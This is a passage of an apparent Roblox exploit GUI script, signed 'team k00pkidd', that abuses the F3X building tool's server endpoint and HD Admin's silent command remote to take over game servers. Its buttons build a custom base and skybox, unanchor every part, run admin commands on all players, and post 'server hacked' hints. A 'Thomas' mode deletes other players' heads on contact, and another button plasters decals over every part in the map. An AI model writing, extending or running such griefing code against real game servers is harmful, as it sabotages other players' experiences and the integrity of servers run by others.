local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";fogcolor black ;time")
local player = game.Players.LocalPlayer
local char = player.Character
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmaterial(part,mate,trans)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function transparency(part,trans)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = trans
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function color(part, color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshid(part, id)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..id
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function makemesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshsize(part, vectora)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = vectora
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function syncmeshtexture(part, id)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..id
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function name(part, stringa)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringa
}
serverendpoint:InvokeServer(unpack(args))
end
local function lock(part, boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
serverendpoint:InvokeServer(unpack(args))
end
local function setcollision(part, booleana)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = booleana
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setanchor(part, boolean)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function createdecal(part, side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function setdecal(part, asset, side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
serverendpoint:InvokeServer(unpack(args))
end
local function makerealmbase()
local position = CFrame.new(0, 5, 0)
local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
resize(base, Vector3.new(512, 16, 512), position)
syncmaterial(base, Enum.Material.Concrete)
color(base, Color3.new(0.513725, 0.513725, 0.513725))
name(base, "loltroll")
lock(base, true)
local spawnpos = CFrame.new(34.5, 8.1, -26)
local spawna = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnpos, workspace)
resize(spawna, Vector3.new(20, 10, 20), spawnpos)
name(spawna, "SpawnLocation")
lock(spawna, true)
createdecal(spawna, Enum.NormalId.Top)
setdecal(spawna, "12165709661", Enum.NormalId.Top)
transparency(spawna, 1)
local pos = CFrame.new(74.143, 24, -25.232)
local rules = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace)
transparency(rules, 0)
setcollision(rules, false)
createdecal(rules, Enum.NormalId.Left)
setdecal(rules, "103516240291943", Enum.NormalId.Left)
color(rules, Color3.new(1, 1, 1))
resize(rules, Vector3.new(4, 23, 37), pos)
local pos = CFrame.new(1.143, 24, -25.232)
local bad = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace)
transparency(bad, 1)
setcollision(bad, false)
createdecal(bad, Enum.NormalId.Right)
setdecal(bad, "12165709661", Enum.NormalId.Right)
resize(bad, Vector3.new(4, 23, 37), pos)
end
local function sky()
local position = CFrame.new(0, 5, 0)
local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
makemesh(sky)
syncmeshid(sky, "111891702759441")
syncmeshtexture(sky, "9820931824")
syncmeshsize(sky, Vector3.new(20000, 20000, 20000))
lock(sky, true)
name(sky, "kn000pezzzzz")
setcollision(sky, false)
end
local function unanchorall()
for _, v in ipairs(workspace:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("UnionOperation") then
spawn(function()
setanchor(v, false)
end)
end
end
end
local function realm()
sky()
makerealmbase()
end
realm()
RequestCommand:InvokeServer(";res all")
wait(0.3)
RequestCommand:InvokeServer(";r6 all")
RequestCommand:InvokeServer(";time 12")
wait(8.9)
RequestCommand:InvokeServer(";music 1839246711 ;volume inf ;pitch 1.04")
end)
hint.Name = "hint"
hint.Parent = TextLabel_4
hint.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
hint.BorderColor3 = Color3.fromRGB(0, 53, 11)
hint.Position = UDim2.new(0.394117713, 0, -46.5, 0)
hint.Size = UDim2.new(0, 99, 0, 39)
hint.Font = Enum.Font.SourceSans
hint.Text = "Hint"
hint.TextColor3 = Color3.fromRGB(255, 255, 255)
hint.TextScaled = true
hint.TextSize = 14.000
hint.TextWrapped = true
hint.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";serverhint server hacked by team k00pkidd")
end)
thomas.Name = "thomas"
thomas.Parent = TextLabel_4
thomas.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
thomas.BorderColor3 = Color3.fromRGB(0, 53, 11)
thomas.Position = UDim2.new(-0.241176412, 0, -29.3571453, 0)
thomas.Size = UDim2.new(0, 99, 0, 39)
thomas.Font = Enum.Font.SourceSans
thomas.Text = "become thomas [R6 only]"
thomas.TextColor3 = Color3.fromRGB(255, 255, 255)
thomas.TextScaled = true
thomas.TextSize = 14.000
thomas.TextWrapped = true
thomas.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
local player = game.Players.LocalPlayer
local char = player.Character
function xd()
spawn(function()
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = game:GetService("Players").LocalPlayer.Character.Torso,
["Transparency"] = 1
},
[2] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Leg"),
["Transparency"] = 1
},
[3] = {
["Part"] = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart,
["Transparency"] = 1
},
[4] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Leg"),
["Transparency"] = 1
},
[5] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Arm"),
["Transparency"] = 1
},
[6] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Arm"),
["Transparency"] = 1
},
[7] = {
["Part"] = game:GetService("Players").LocalPlayer.Character.Head,
["Transparency"] = 1
},
}
}
_(args)
end)
end
function Thomas(player)
SetAnchor(true,char.HumanoidRootPart)
CreatePart(char.HumanoidRootPart.CFrame,char,"Normal")
SetCollision(char.Part,false)
SetLocked(char.Part,false)
Resize(char.Part,Vector3.new(5,5,10),char.HumanoidRootPart.CFrame)
CreateSpotlight(char.Part)
SyncLighting(char.Part,100)
SetLocked(char.HumanoidRootPart,false)
Weld(char.Part,char.HumanoidRootPart,char.Part)
SetAnchor(false,char.Part)
AddMesh(char.Part)
MeshResize(char.Part,Vector3.new(2,2,1.5))
SetMesh(char.Part,"2231280549")
SetTexture(char.Part,"2231280614")
SetAnchor(false,char.HumanoidRootPart)
char.Humanoid.WalkSpeed = 80
local function SFX(id) local s=Instance.new("Sound",char.Torso); s.SoundId = "rbxassetid://"..id; s.Volume = 1; return s; end
char.Part.Touched:connect(function(p)
if p.Parent then
if p.Parent:IsA("Model") then
if game.Players:FindFirstChild(p.Parent.Name) then
if p.Parent.Name ~= game.Players.LocalPlayer.Name then
spawn(function()
DestroyPart(game.Players:FindFirstChild(p.Parent.Name).Character.Head)
end)
local Whistle = SFX(475073913)
Whistle:Play()
end
end
end
end
end)
local Music = SFX(0)
Music.Pitch = 1.15
Music:Play()
game:GetService("RunService").RenderStepped:Connect(function()
for i,v in char:GetDescendants() do
if v:IsA("BasePart") then
char.Humanoid.WalkSpeed = 70
v.CanCollide = false
end
end
end)
end
Thomas(player)
xd()
end)
theme.Name = "theme"
theme.Parent = TextLabel_4
theme.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
theme.BorderColor3 = Color3.fromRGB(0, 53, 11)
theme.Position = UDim2.new(-0.970588207, 0, -50.0714264, 0)
theme.Size = UDim2.new(0, 53, 0, 24)
theme.Font = Enum.Font.SourceSans
theme.Text = "play k00p's theme"
theme.TextColor3 = Color3.fromRGB(255, 255, 255)
theme.TextScaled = true
theme.TextSize = 14.000
theme.TextWrapped = true
theme.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 1839246711 ;volume inf ;pitch 1.04")
end)
antileave.Name = "antileave"
antileave.Parent = TextLabel_4
antileave.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
antileave.BorderColor3 = Color3.fromRGB(0, 53, 11)
antileave.Position = UDim2.new(-0.870588183, 0, -29.3571453, 0)
antileave.Size = UDim2.new(0, 99, 0, 39)
antileave.Font = Enum.Font.SourceSans
antileave.Text = "Insert Anti-Leave [OP WARNING]"
antileave.TextColor3 = Color3.fromRGB(255, 255, 255)
antileave.TextScaled = true
antileave.TextSize = 14.000
antileave.TextWrapped = true
eses.Name = "eses"
eses.Parent = TextLabel_4
eses.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
eses.BorderColor3 = Color3.fromRGB(0, 53, 11)
eses.Position = UDim2.new(-0.870588183, 0, -39.5714302, 0)
eses.Size = UDim2.new(0, 99, 0, 39)
eses.Font = Enum.Font.SourceSans
eses.Text = "c00lify"
eses.TextColor3 = Color3.fromRGB(255, 255, 255)
eses.TextScaled = true
eses.TextSize = 14.000
eses.TextWrapped = true
eses.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7000, 7000, 7000))
SetLocked(v,true)
end
end
end
Sky("15198649455")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("15198649455")
end)
dreemy.Name = "dreemy"
dreemy.Parent = TextLabel_4
dreemy.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
dreemy.BorderColor3 = Color3.fromRGB(0, 53, 11)
dreemy.Position = UDim2.new(-0.223999918, 0, -22.9285717, 0)
dreemy.Size = UDim2.new(0, 99, 0, 39)
dreemy.Font = Enum.Font.SourceSans
dreemy.Text = "ambatakam sky"
dreemy.TextColor3 = Color3.fromRGB(255, 255, 255)
dreemy.TextScaled = true
dreemy.TextSize = 14.000
dreemy.TextWrapped = true
dreemy.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(7000, 7000, 7000))
SetLocked(v,true)
end
end
end
Sky("201208408")
end)
shamsterky.Name = "shamsterky"
shamsterky.Parent = TextLabel_4
shamsterky.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
shamsterky.BorderColor3 = Color3.fromRGB(0, 53, 11)
shamsterky.Position = UDim2.new(-0.86511761, 0, -19.5, 0)
shamsterky.Size = UDim2.new(0, 99, 0, 39)
shamsterky.Font = Enum.Font.SourceSans
shamsterky.Text = "funny hamster doing melting a funny thing skybox"
shamsterky.TextColor3 = Color3.fromRGB(255, 255, 255)
shamsterky.TextScaled = true
shamsterky.TextSize = 14.000
shamsterky.TextWrapped = true
shamsterky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
